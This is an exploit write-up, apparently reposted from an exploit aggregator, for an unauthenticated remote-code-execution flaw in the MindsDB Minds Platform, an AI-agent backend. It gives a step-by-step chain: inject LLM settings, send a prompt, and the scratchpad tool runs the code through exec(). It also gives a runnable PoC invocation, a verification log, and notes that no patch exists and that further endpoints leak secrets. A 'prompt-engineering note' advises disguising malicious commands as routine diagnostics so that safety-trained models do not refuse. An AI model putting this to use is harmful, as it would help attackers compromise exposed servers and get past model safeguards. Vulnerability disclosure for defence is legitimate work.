Exploit for CVE-2026-73678

## https://sploitus.com/exploit?id=AD2D9BCE-BC70-53AB-BF51-85631949BFEB
# CVE-2026-73678 — MindsDB Minds Platform Unauthenticated RCE (CVSS 10.0)

**CVSS 10.0 (Critical)** · CWE-94 / CWE-306 · [GHSA-jcxw-h8ph-pxpv](https://github.com/mindsdb/minds-platform/security/advisories/GHSA-jcxw-h8ph-pxpv) · [VulnCheck](https://www.vulncheck.com/advisories/mindsdb-minds-platform-unauthenticated-rce-via-scratchpad-exec)

## Summary

Minds Platform (the open-source backend of `mindsdb/mindshub`, previously
`mindsdb/minds-platform`) exposes `POST /api/v1/responses/` (an
OpenAI-compatible Responses API, port **26866**) with **no authentication at
all**. There is no auth middleware — no Bearer check, no session, nothing.
The server only installs a permissive CORS middleware
(`allow_origins=["*"], allow_credentials=True`).

An **unauthenticated attacker** can therefore:

1. **Inject their own LLM configuration** via `PUT /api/v1/settings/{key}`
   (`openai_api_key`, `openai_base_url`, `planning_provider`,
   `coding_provider`, `*_model`) — no token required, all requests return 200.
2. **Send a crafted prompt** to `POST /api/v1/responses/` →
   `ResponsesHandler.handle()` → Anton `ChatSession.turn_stream(input)`.
3. The (attacker-controlled) LLM returns a **function call** for the built-in
   **`scratchpad`** tool (`action: "exec"`). `handle_scratchpad` →
   `prepare_scratchpad_exec` → `ScratchpadManager` → `LocalScratchpadRuntime`
   → `scratchpad_boot.py`:

   ```python
   compiled = compile(code, "", "exec")
   exec(compiled, namespace)   # arbitrary Python → arbitrary OS commands
   ```

Because the LLM endpoint is **attacker-chosen** (BYOK), the attacker can make
the model return *any* scratchpad code — no model cooperation or coercion is
required. The only precondition is a working OpenAI-compatible LLM API key.

**Affected:** ≤ v26.1.0 (vulnerable code added 2026-06-08, "Fresh #12461").
**Patched: NONE** — GHSA lists no patched version; the `exec()` remains in
`main` (only an optional, *off-by-default* `COWORK_REQUIRE_AUTH` Bearer
middleware and org-mode scope checks exist).

## Exploit

```bash
python3 poc_cve-2026-73678.py \
  --target http://TARGET:26866 \
  --api-key sk-YOUR_OWN_KEY \
  --base-url https://api.openai.com/v1 \
  --model gpt-4o
```

The PoC:
1. Writes attacker settings via auth-free `PUT /api/v1/settings/*`
2. Sends a benign-looking "system diagnostics" prompt (runs `uname -a` +
   `hostname` via scratchpad `exec`)
3. Reports the LLM response; confirm `cat /tmp/system_info.txt` on the host

**Prompt-engineering note:** models with strong safety training may refuse
obviously malicious commands (e.g. filenames containing "pwn"). Frame the
request as routine maintenance (system diagnostics, health check) — the
scratchpad executes whatever code the model supplies.

## Verification (2026-08-16, Docker lab, ARM64)

Real end-to-end chain against `cowork-server==0.26.6.26.1` with a real LLM
provider (OpenCode Zen, `minimax-m3`):

```
== [1] AUTH-FREE SETTINGS INJECTION ==
  PUT /api/v1/settings/openai_api_key:     HTTP 200
  PUT /api/v1/settings/openai_base_url:    HTTP 200
  PUT /api/v1/settings/planning_provider:  HTTP 200
  PUT /api/v1/settings/coding_provider:    HTTP 200
  PUT /api/v1/settings/planning_model:     HTTP 200
  PUT /api/v1/settings/coding_model:       HTTP 200

== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
  HTTP 200 (15.6s) — LLM called the scratchpad tool

== [3] COMMAND EXECUTION CONFIRMED ==
  /tmp/system_info.txt inside the container:
    Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
    95d5d7fa74f6
```

No token was sent at any point. The `uname -a` output was produced inside the
target container by the scratchpad `exec` — **arbitrary OS command execution
as an unauthenticated remote attacker**.

## Impact

- Unauthenticated **remote code execution** on any exposed Minds Platform
  instance (default port 26866).
- CORS wildcard + credentials means a malicious website could also trigger
  the chain from a victim's browser (drive-by / DNS-rebinding).
- Additional auth-free surfaces: `GET /api/v1/settings/reveal-key/{name}`
  leaks configured secrets; `POST /api/v1/settings/raw` writes
  `~/.anton/.env`.

## References

- GHSA: https://github.com/mindsdb/minds-platform/security/advisories/GHSA-jcxw-h8ph-pxpv
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73678
- VulnCheck: https://www.vulncheck.com/advisories/mindsdb-minds-platform-unauthenticated-rce-via-scratchpad-exec
- Project: https://github.com/mindsdb/minds-platform (now `mindsdb/mindshub`)